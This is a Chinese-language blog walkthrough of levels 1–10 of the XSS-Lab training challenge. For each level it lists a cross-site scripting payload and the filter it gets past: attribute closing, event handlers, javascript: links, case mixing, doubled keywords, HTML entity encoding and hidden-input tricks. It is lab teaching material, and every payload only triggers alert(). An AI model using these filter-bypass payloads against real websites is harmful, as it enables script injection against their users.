XSS-Lab 1-10

不使用过滤器

在这里插入图片描述

name=<script>alert(1)</script>

闭合标签

输入第一题的答案,没有成功,查看源码,发现:
在这里插入图片描述
我们输入的数据,是在表单中的value属性内
法一:
所以需要先闭合input标签,然后在注入代码,闭合标签:

"><script>alert(1)</script>

在这里插入图片描述
法二:
是闭合value属性,然后在input标签内加入事件属性:

" οnclick="alert(11)

单引号闭合并添加事件

输入测试:
在这里插入图片描述
"<"会被转换为html编码,所以这一关无法采用标签,因为标签都是带有”<"的,因此采用事件,需要闭合标签的属性:

' οnclick='alert(1)

(可以通过查看网页的html页面,确定闭合方式,以及是否闭合)

双引号闭合并添加事件

输入测试:
在这里插入图片描述
发现value值中把“<”过滤了,所以采用事件注入

" οnclick="alert(1)

javascript伪协议


)

在这里插入图片描述
这一关把ri转换为r_i,所以考虑绕过该机制
先试试大小写,发现还是老样子。
只能换一个一个不带ri的标签:

"><img src=1 onerror=alert(1)

在这里插入图片描述
然后发现on也被过滤了,而且所有的事件属性都是带有on的,所以在此处无法采用事件

采用其他标签:

"><a href="javascript:alert(1)"

输入之后发现没反应:
在这里插入图片描述
需要点击输入框右侧的细小的下划线才能回显 真坑啊啊啊啊啊

大小写绕过

在这里插入图片描述
和上题类似
先试试大小写:

"><SCRIPT>alert(1)</SCRIPT>

就成功了

双重书写

测试,发现script被过滤了:
在这里插入图片描述
所有采用嵌套的方法:

"><scscriptript>alert(1)</scrscriptipt>

或者采用事件注入:
" oonnclick=“alert(1)”

字符实体

通过试探,发现无法构造闭合,采用了htmlspecialchars($str)函数,而且闭合方式是双引号,所以input中无法注入,但是在连接里面是有地方可以注入的,首先是试探是否有防御机制:

javascript:alert(1)

在这里插入图片描述
查看你源码可以看到,做了多种编码。
尝试使用其他的编码的形式
对script中的一个字母进行html实体编码

HTML实体编码(HEX)
javascri&#x70;t:alert()

HTML实体编码(DEC)
javascri&#112;t:alert()

再点击友情链接即可通关
HTML实体编码在线转换

检测关键字存在

输入上题答案:
在这里插入图片描述
查看源码得知:这里多了一个strpos函数,这个函数是用来查找指定文本在字符串中第一次出现的位置,这时候我们就不得不在代码里加入http://
但是肯定不能在http://后面加代码,必须在前面,并且将http://注释掉才能执行。

javasc&#114;ipt:alert(/xss/)//http://
javasc&#114;ipt:alert('http://')

strpos函数速查

隐藏信息

这一没有输入的地方,需要在url地址栏中输入,这一时输入是隐藏的,也就是说keyname并不是要注入的地方,真正注入的地方是三个input,不过这三个被隐藏了,所以需要去试探这三个那个是正确的
我们使用之前的方法发现,无论怎么样都没用,那么我们来看看源码,发现有一个t_sort参数,而这个参数其实并没有加什么特殊防御,只是过滤了尖括号。

 t_sort=" οnmοuseοver="alert(1)"

但是因为input是隐藏的,所以不会触发事件,需要通过其它方法触发
采用type属性:

t_sort=" type="text" οnclick="javascript:alert(/XSS/)

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_51558360/article/details/115053761
今日推荐